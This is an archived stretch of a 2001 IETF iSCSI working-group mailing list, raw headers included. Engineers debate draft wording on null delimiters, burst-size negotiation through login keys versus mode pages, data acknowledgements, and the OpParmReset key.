Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8R2opv21805 for ips-outgoing; Wed, 26 Sep 2001 22:50:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mercury.corp.iready.com (imail.corp.iready.com [209.140.229.69]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8R2omP21800 for ; Wed, 26 Sep 2001 22:50:48 -0400 (EDT) Received: by mercury.corp.iready.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 19:50:41 -0700 Message-ID: <034670D62D19D31180990090277A37B701ABDD03@mercury.corp.iready.com> From: Bart Crane To: ietf-ips Subject: RE: ISCSI: question about text command data Date: Wed, 26 Sep 2001 19:50:40 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C146FF.3198B220" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C146FF.3198B220 Content-Type: text/plain; charset="iso-8859-1" Because there is no guarantee that the terminating nul is actually there, you have to examine every character up to the last according to the data segment size. Thus, "at least one" has negligible effect on performance. Some implementations may keep their strings on 4- or 8-byte boundaries, zero-padded to a multiple of 4 bytes, use 2 fewer bits to represent their size, and dma them directly into the network adapter. In this case, "only one" could impact performance negatively. The double-null can be handy, but it can also be viewed as a waste of a byte; an "implied" terminating null exists at the character pointed to in the data segment at the offset specified by the size of the data segment. And because that null is not guaranteed to be there, it may as well exist by implication only. I vote for "at least one" null. -----Original Message----- From: Buck Landry [mailto:blandry@Crossroads.com] Sent: Tuesday, September 18, 2001 2:22 PM To: ietf-ips Subject: RE: ISCSI: question about text command data The below might imply that I actually take a position on what should appear in the data segment after a key-value pair. I don't care much *what* goes in there, both approaches have good reasoning; I would just like to see it specified as 'exactly one', or 'one or more', so there's no confusion. If we decide on 'exactly one' .. (are leading NULLs allowed?) .. that would seem to preclude using "double nulls" as Lee speaks of. (unless julian somehow takes that into account in his wording) regards, Buck -----Original Message----- From: CONGDON,PAUL (HP-Roseville,ex1) [mailto:paul_congdon@hp.com] Sent: Tuesday, September 18, 2001 10:11 AM To: 'Steve Senum'; ietf-ips Subject: RE: ISCSI: question about text command data I disagree. There is no reason why the spec shouldn't be very specific about what behavior to take. In the interest of simplicity, the spec should state 'exactly one null character' as Mark and Buck request. If people follow the spec, there won't be a need to invoke costly error response. Paul -----Original Message----- From: Steve Senum [mailto:ssenum@cisco.com] Sent: Monday, September 17, 2001 8:27 AM To: ietf-ips Subject: Re: ISCSI: question about text command data Mark, I agree with Julian on this issue. Steve Senum Mark Bakke wrote: > > Julian- > > Wouldn't it be simpler to just say "exactly one". The last > part of Buck's question mentioned that he didn't see why > anyone would want more than one, and nobody responded saying > they did. > > Thanks, > > Mark > > Julian Satran wrote: > > > > I've changed it the text to "at least one" to avoid errors hard to list. > > > > Julo > > > > "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 > > > > Please respond to "Buck Landry" > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: > > cc: > > Subject: ISCSI: question about text command data > > > > I have a small question about what separates the "key=value" pairs in > > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > > draft (2.10.5), it states: > > > > >>> > > Every key=value pair (including the last or only pair) MUST be followed > > by null (0x00) delimiter. > > <<< > > > > The question: is it legal to have *more* than one null char between > > key=value pairs? (no, I don't know why anybody would particularly want > > to do this.) > > > > Thanks, > > buck > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 ------_=_NextPart_001_01C146FF.3198B220 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: ISCSI: question about text command data

Because there is no guarantee that the terminating = nul is actually there, you have to examine every character up to the = last according to the data segment size.  Thus, "at least = one" has negligible effect on performance.

Some implementations may keep their strings on 4- or = 8-byte boundaries, zero-padded to a multiple of 4 bytes, use 2 fewer = bits to represent their size, and dma them directly into the network = adapter.  In this case, "only one" could impact = performance negatively. 

The double-null can be handy, but it can also be = viewed as a waste of a byte;  an "implied" terminating = null exists at the character pointed to in the data segment at the = offset specified by the size of the data segment.  And because = that null is not guaranteed to be there, it may as well exist by = implication only.

I vote for "at least one" null.  =


-----Original Message-----
From: Buck Landry [mailto:blandry@Crossroads.com= ]
Sent: Tuesday, September 18, 2001 2:22 PM
To: ietf-ips
Subject: RE: ISCSI: question about text command = data


The below might imply that I actually take a position = on what should
appear in the data segment after a key-value = pair.

I don't care much *what* goes in there, both = approaches have good
reasoning; I would just like to see it specified as = 'exactly one', or
'one or more', so there's no confusion.

If we decide on 'exactly one' .. (are leading NULLs = allowed?) .. that
would seem to preclude using "double = nulls" as Lee speaks of. (unless
julian somehow takes that into account in his = wording)

regards,
Buck


-----Original Message-----
From: CONGDON,PAUL (HP-Roseville,ex1) [mailto:paul_congdon@hp.com]
Sent: Tuesday, September 18, 2001 10:11 AM
To: 'Steve Senum'; ietf-ips
Subject: RE: ISCSI: question about text command = data



I disagree.  There is no reason why the spec = shouldn't be very specific
about what behavior to take.  In the interest = of simplicity, the spec
should
state 'exactly one null character' as Mark and Buck = request.   If people
follow the spec, there won't be a need to invoke = costly error response.

Paul

-----Original Message-----
From: Steve Senum [mailto:ssenum@cisco.com]
Sent: Monday, September 17, 2001 8:27 AM
To: ietf-ips
Subject: Re: ISCSI: question about text command = data


Mark,

I agree with Julian on this issue.

Steve Senum

Mark Bakke wrote:
>
> Julian-
>
> Wouldn't it be simpler to just say = "exactly one".  The last
> part of Buck's question mentioned that he = didn't see why
> anyone would want more than one, and nobody = responded saying
> they did.
>
> Thanks,
>
> Mark
>
> Julian Satran wrote:
> >
> > I've changed it the text to "at least = one" to avoid errors hard to
list.
> >
> > Julo
> >
> > "Buck Landry" = <blandry@Crossroads.com>@ece.cmu.edu on 13-09-2001
01:25:36
> >
> > Please respond to "Buck Landry" = <blandry@Crossroads.com>
> >
> > Sent by:  = owner-ips@ece.cmu.edu
> >
> > To:   = <ips@ece.cmu.edu>
> > cc:
> > Subject:  ISCSI: question about text = command data
> >
> > I have a small question about what = separates the "key=3Dvalue" pairs
in
> > the data segment of an iscsi text = command.  On pg. 78 of the iscsi
v7-90
> > draft (2.10.5), it states:
> >
> > >>>
> > Every key=3Dvalue pair (including the last = or only pair) MUST be
followed
> > by null (0x00) delimiter.
> > <<<
> >
> > The question: is it legal to have *more* = than one null char between
> > key=3Dvalue pairs?  (no, I don't know = why anybody would particularly
want
> > to do this.)
> >
> > Thanks,
> > buck
>
> --
> Mark A. Bakke
> Cisco Systems
> mbakke@cisco.com
> 763.398.1054

------_=_NextPart_001_01C146FF.3198B220-- From owner-ips@ece.cmu.edu Thu Sep 27 07:09:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26038 for ; Thu, 27 Sep 2001 07:09:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RASPZ23441 for ips-outgoing; Thu, 27 Sep 2001 06:28:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RASNP23430 for ; Thu, 27 Sep 2001 06:28:23 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id MAA282402 for ; Thu, 27 Sep 2001 12:28:15 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RASF4187196 for ; Thu, 27 Sep 2001 12:28:15 +0200 Subject: Re: iscsi : default iscsi mode page settings - Consensus call To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 10:10:05 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 13:28:15 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I never really objected to (this the way I had them). I wanted to remove the former objections of having the same information in 2 places although it was read-only in mode pages in 07 already. Julo Black_David@em c.com To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 27-09-01 00:59 Subject: iscsi : default iscsi mode page settings - Please respond Consensus call to Black_David My reading of this mail thread is that there is rough consensus to negotiate/set FirstBurstSize and MaxBurstSize via iSCSI login/text keys and only via such keys. If some aspect of the SCSI protocol requires that they be readable via a mode page, the mode page values will be read-only. Julian's objection to this is noted - anyone else who objects to this should post to the list. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Thu Sep 27 07:10:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26063 for ; Thu, 27 Sep 2001 07:10:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RASg323477 for ips-outgoing; Thu, 27 Sep 2001 06:28:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RASdP23469 for ; Thu, 27 Sep 2001 06:28:39 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id MAA51922 for ; Thu, 27 Sep 2001 12:28:32 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RASVr245438 for ; Thu, 27 Sep 2001 12:28:32 +0200 Subject: RE: iscsi : Data ACKs already been included into draft (?) To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 13:18:36 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 13:28:31 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Michael, I went through a 1 and 2 tier counting scheme a year ago. The short answer is that a one tier has severe head of queue impact and a 2 tier with a continuously running and a separate one for data (roughly what I think Santosh suggested a day or two ago) needs to carry 2 counters in many input PDU's and is very messy to handle with it recovery. If you want to do more about it write a draft. Regards, Julo Michael Schoberg g@cnt.com> cc: Sent by: Subject: RE: iscsi : Data ACKs already been owner-ips@ece.cm included into draft (?) u.edu 27-09-01 00:03 Please respond to Michael Schoberg Missed the reflector the first time so I'll try this one again... I'm still in favor for moving R2T and Data-IN into the StatSN realm (remove DataSN). Looking at it, I wonder why there was this split to begin with. If the initiator is able to request retransmission of any/all T->I PDUs, it stands to reason that there should never be gaps in the Data-IN/R2T stream (unless the target is broken). Separating Data-IN & R2T ACKs from the normal StatSN stream means requiring an equivalent protection mechanism be created. Bottom line is that will add complexity to iSCSI. If Data-IN/R2T were moved in StatSN, there's still the problem of the requirement of optional support. Lightweight systems may not be able to buffer much data to allow for long T->I message queues and the current draft lists SNACK support as optional (for this reason?) To support this, we may need to have different flavors of R2T & Data-IN: one with StatSN and one without. I'm kind of surprised there hasn't been much discussion along this line. There seems to be two extremes being expressed (in-favor of a Data-ACK even if it involves writing new message engines -OR- in-favor or completely removing Data-ACK to avoid overhead). It seems like optionally moving Data-IN/R2T into the StatSN queue would allow for both without adding much complexity to the code. : -----Original Message----- : From: Santosh Rao [mailto:santoshr@cup.hp.com] : Sent: Wednesday, September 26, 2001 2:21 PM : To: ips@ece.cmu.edu : Cc: Black_David@emc.com : Subject: iscsi : Data ACKs already been included into draft (?) : : : Julian & All, : : It looks like the Data ACK scheme you proposed has already : been included : into the Rev 7.97 draft !(?) I don't recollect the group : having reached : consensus on re-inclusion of this feature, nor consensus on : the mechanism : used for the data ack. Given this, why is the change already : present in : the draft ? : : I would like to request that any changes to the draft be : first posted to : the reflector for review and only upon its acceptance on the reflector : should it be included in the draft. Incorporating changes : into the draft : prior to their acceptance on the reflector is only going to : slow down the : stabilization of the draft further. : : At this late stage in the draft, every sentence modified must : be subject : to review prior to inclusion in the draft. : : Thanks, : Santosh : : -- : ################################# : Santosh Rao : Software Design Engineer, : HP, Cupertino. : email : santoshr@cup.hp.com : Phone : 408-447-3751 : ################################# : From owner-ips@ece.cmu.edu Thu Sep 27 07:11:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26089 for ; Thu, 27 Sep 2001 07:11:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RASVX23457 for ips-outgoing; Thu, 27 Sep 2001 06:28:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RASSP23448 for ; Thu, 27 Sep 2001 06:28:29 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id MAA68058 for ; Thu, 27 Sep 2001 12:28:21 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RASK4204780 for ; Thu, 27 Sep 2001 12:28:20 +0200 Subject: Re: iscsi : numerical negotiation wording is ambiguous To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 11:55:23 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 13:28:20 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, I understood what you wording means but I am not sure that we want all the side-effects. The negotiation as defined now allows both parties requester or responder to state their wishes and the LAW insatiate the result in both. Your wording means that the responder selects the value according to the rule. What if the responder is either a rogue or just a simple minded target. Let me give an example: I am building a simple minded target that has an 8K buffer and says always (has it wired) DataPDULength=8192 in its first Login response (that is his buffer). If an initiator sends him as a "offer" or as a "responder" 16192 then with the current wording things are fine and both will have settled to 8192. If the initiator sends an offer of 4096 and the target gives his (only thing he knows) 8192 it is still fine - both select 4096. With your wording some of the negotiations will fail since you assume that the rule should be expressed in building the answer and not in selecting the result. In the end in both case you have to do selections at both target and initiator but the current rule enables simple-minded prewired messages while your does not (the responder message defines the selection and the offerer has to check it). Sorry for this long message for such a simple question. Julo Santosh Rao cc: Sent by: Subject: Re: iscsi : numerical negotiation wording owner-ips@ece. is ambiguous cmu.edu 26-09-01 23:16 Please respond to Santosh Rao Julian, What is the responding party supposed to offer ? Is it supposed to determine the result of the negotiation (higher or lower value, as the case may be) and send that as its response ? Or, is it supposed to send in its numerical value and the initiator picks the higher or lower of the 2 ? This does'nt come across clear enough in the definition and is open to mis-interpretation. Please see the suggested re-word in its place. Thanks, Santosh Julian Satran wrote: > Santosh, > > I am missing something. The rule states what value both parties should have > after both have seen the two values. > Obviously we assume that no error occurs and the responder value is seen y > the offering party or the negotiation fails. > > What exactly is ambiguous about it? > > Julo > > > Santosh Rao > hp.com> cc: > Sent by: Subject: iscsi : numerical negotiation wording is > owner-ips@ece. ambiguous > cmu.edu > > > 26-09-01 19:59 > Please respond > to Santosh Rao > > > > Julian & All, > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 > reads : > > "In numerical negotiations, the offering and responding party state > a numerical value. The result of the negotiation is key dependent; > frequently the lower or the higher of the two values is used." > > The above definition is ambiguous, since it does not specify whether it is > the originator or the responder that computes the result of the > negotiation. > > i.e. Is it the responsibility of the target to pick the higher or lower of > the 2 values and respond with the result of the negotiation ? > > OR : > Is it the originator that has to pick the result of the negotiation > based on the key it sent and the key it got back ? > > I would suggest that the wording be clarified to indicate that the > responder picks the result of the negotiation and sends this result back > in its response for this key. > > Perhaps, some re-wording along the following lines may be in order : > > "In numerical negotiations, the offering party states a numerical > value, and the responding party states the result (operational value) > after the negotiation. The result of the negotiation is key > dependent; responder determines it based on the lower or the higher > of the two values - offering party's value, and what the responder > can support." > > Comments ? > > Regards, > Santosh > > -- > ################################# > Santosh Rao > Software Design Engineer, > HP, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################# #### santoshr.vcf has been removed from this note on September 27 2001 by Julian Satran From owner-ips@ece.cmu.edu Thu Sep 27 07:11:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26101 for ; Thu, 27 Sep 2001 07:11:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RAGhB22957 for ips-outgoing; Thu, 27 Sep 2001 06:16:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from smtp03.wxs.nl (smtp03.wxs.nl [195.121.6.37]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RAGeP22947 for ; Thu, 27 Sep 2001 06:16:41 -0400 (EDT) Received: from daniel ([213.10.179.111]) by smtp03.wxs.nl (Netscape Messaging Server 4.15) with SMTP id GKBGJK01.CNO; Thu, 27 Sep 2001 12:16:32 +0200 Message-ID: <00a901c1473f$48062ac0$9600000a@daniel> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: , Cc: References: <277DD60FB639D511AC0400B0D068B71ECAD7B2@CORPMX14> Subject: Re: iscsi : default iscsi mode page settings - Consensus call Date: Thu, 27 Sep 2001 12:29:24 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I am in favour of putting FirstBurstSize and MaxBurstSize in login/text keys but i object in removing it from SCSI mode Page. I am not sure if it is a good idea to keep SCSI mode page parameters as read only because it also goes against the semantics of mode parameter definitions. However it leads to a lot of complexities if an initiator is allowed to change mode parameters both by login keys as well as mode select command. I guess it is still a debatable issue. Sanjeev ----- Original Message ----- From: To: Cc: Sent: Thursday, September 27, 2001 12:59 AM Subject: iscsi : default iscsi mode page settings - Consensus call > My reading of this mail thread is that there is rough consensus > to negotiate/set FirstBurstSize and MaxBurstSize via iSCSI > login/text keys and only via such keys. If some aspect of the > SCSI protocol requires that they be readable via a mode page, > the mode page values will be read-only. Julian's objection to > this is noted - anyone else who objects to this should post to > the list. > > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > From owner-ips@ece.cmu.edu Thu Sep 27 07:14:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26165 for ; Thu, 27 Sep 2001 07:14:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RASfv23476 for ips-outgoing; Thu, 27 Sep 2001 06:28:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RAScP23465 for ; Thu, 27 Sep 2001 06:28:38 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id MAA89266 for ; Thu, 27 Sep 2001 12:28:30 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RASUr73446 for ; Thu, 27 Sep 2001 12:28:30 +0200 Subject: Re: iscsi : OpParmreset To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 12:57:40 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 13:28:30 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Mallikarjun, From your answer it looks like you agree that we need a way to reset/abort a negotiation but you object to the OpParmReset. Abort task has the disadvantage that the target can't issue it (so that the target has no means to force an abort). An empty task request or response is ambiguous. We could introduce a binary field meaning goon/abort? Is that better that OpParmReset (by which we can always introduce a richer semantics - like rest to default). Julo "Mallikarjun C." To: ips Subject: Re: iscsi : OpParmreset Sent by: owner-ips@ece. cmu.edu 27-09-01 03:26 Please respond to cbm Julian, I assume you mean terminate/end a negotiation by "rest a negotiaion". If so, I can see two more ways to do the same - - aborting the task (changes from rev06 to rev07), - sending an empty text command with TTT=0xffffffff. Either should undo the results of the partial negotiation in FFP, as we described in "Negotiation failures" section. During the login, as Matthew pointed out, we don't seem to need OpParmReset either. Can you please confirm if you see the same choices? If so, I do not see the need for OpParmReset. Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Julian Satran wrote: > > OpParmReset is the only way we have now to rest a negotiation in FFP > (public or vendor specific). > The restriction about R2T is related to a deadlock that can result when you > change from no to yes. > > Julo > > > "BURBRIDGE,MATTH > EW To: Julian Satran/Haifa/IBM@IBMIL, > (HP-UnitedKingdo ips@ece.cmu.edu > m,ex2)" cc: > ge@hp.com> > Sent by: > owner-ips@ece.cm > u.edu > > > 24-09-01 13:36 > Please respond > to > "BURBRIDGE,MATTH > EW > (HP-UnitedKingdo > m,ex2)" > > > > Is OpParmReset still needed now that there is no operational parameter > negotiation until after the security phase? Why would both sides > negoitiate > a set of parameters only for one side to reset. Surely if one side during > login is not happy then it should close the connection. In FFP, as there > is > no way to re-negotiate (after the OpParmReset) again if one side is not > happy then should it not close the connection and start a new one. > > Also if in FFP, if OpParmReset is sent then does it just reset those > parameters that can be negoiated during FFP and not those restricted to the > login phase? If so would it be easier to negotiate those parameters using > the explicit name (e.g. InitialR2T) and remove the restriction of (example) > "Once set to no, it can not be set back to yes" - as this is what using > OpParmReset permits. > > Matthew > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 21, 2001 4:34 PM > To: ips@ece.cmu.edu > Subject: Re: iscsi : OpParmreset > > Santosh, > > The main purpose of this key was to explicitly cancel the effects of a > running negotiation and restart anew. > As the draft stands now there is no much difference between the two - but > on basic principles the purposes are different (as you well stated). We > may change the value to be: > > OpParmReset= > > to accommodate both semantics. > > Julo > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: iscsi : OpParmreset > > owner-ips@ece. > > cmu.edu > > 20-09-01 22:19 > > Please respond > > to Santosh Rao > > All, > > Please refer the definition of OpParmReset login key. > > " 30 OpParmReset > > OpParmReset enables an Initiator or Target to request the operational > parameters to be reset to the values they had before the negotiation." > > I suggest that the definition be re-worded to state that the OpParmReset > enables an initiator or target to reset the operational parameters to > their DEFAULT VALUES. [instead of the current definition that states > that the parameters are reset to the values they had prior to the > current negotiation.] > > The current definition requires the initiator to maintain 2 sets of > operational parameter values, the current and the previous. In the case > where initiator is just booting up, if the target sets OpParmReset to > "yes", the initiator does not know what to set the op params to, since > it has lost its prior state information. > > Comments ? > > Thanks, > Santosh > > - santoshr.vcf From owner-ips@ece.cmu.edu Thu Sep 27 07:24:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26351 for ; Thu, 27 Sep 2001 07:24:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RASPF23442 for ips-outgoing; Thu, 27 Sep 2001 06:28:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RASNP23431 for ; Thu, 27 Sep 2001 06:28:23 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id MAA282404 for ; Thu, 27 Sep 2001 12:28:16 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RASG4190274 for ; Thu, 27 Sep 2001 12:28:16 +0200 Subject: Re: iscsi : default iscsi mode page settings - Consensus call To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 10:19:12 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 13:28:15 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I never really objected to (this the way I had them). I wanted to remove the former objections of having the same information in 2 places although it was read-only in mode pages in my first changes to 07 already. Julo Black_David@em c.com To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 27-09-01 00:59 Subject: iscsi : default iscsi mode page settings - Please respond Consensus call to Black_David My reading of this mail thread is that there is rough consensus to negotiate/set FirstBurstSize and MaxBurstSize via iSCSI login/text keys and only via such keys. If some aspect of the SCSI protocol requires that they be readable via a mode page, the mode page values will be read-only. Julian's objection to this is noted - anyone else who objects to this should post to the list. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Thu Sep 27 07:26:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26403 for ; Thu, 27 Sep 2001 07:26:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RASRT23446 for ips-outgoing; Thu, 27 Sep 2001 06:28:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RASOP23440 for ; Thu, 27 Sep 2001 06:28:25 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id MAA282408 for ; Thu, 27 Sep 2001 12:28:17 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RASHr194280 for ; Thu, 27 Sep 2001 12:28:17 +0200 Subject: Re: iscsi : default iscsi mode page settings - Consensus call To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 10:25:37 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 13:28:17 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I never really objected to (this the way I had them). I wanted to remove the former objections of having the same information in 2 places although it was read-only in mode pages in 07 already. Julo Black_David@em c.com To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 27-09-01 00:59 Subject: iscsi : default iscsi mode page settings - Please respond Consensus call to Black_David My reading of this mail thread is that there is rough consensus to negotiate/set FirstBurstSize and MaxBurstSize via iSCSI login/text keys and only via such keys. If some aspect of the SCSI protocol requires that they be readable via a mode page, the mode page values will be read-only. Julian's objection to this is noted - anyone else who objects to this should post to the list. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 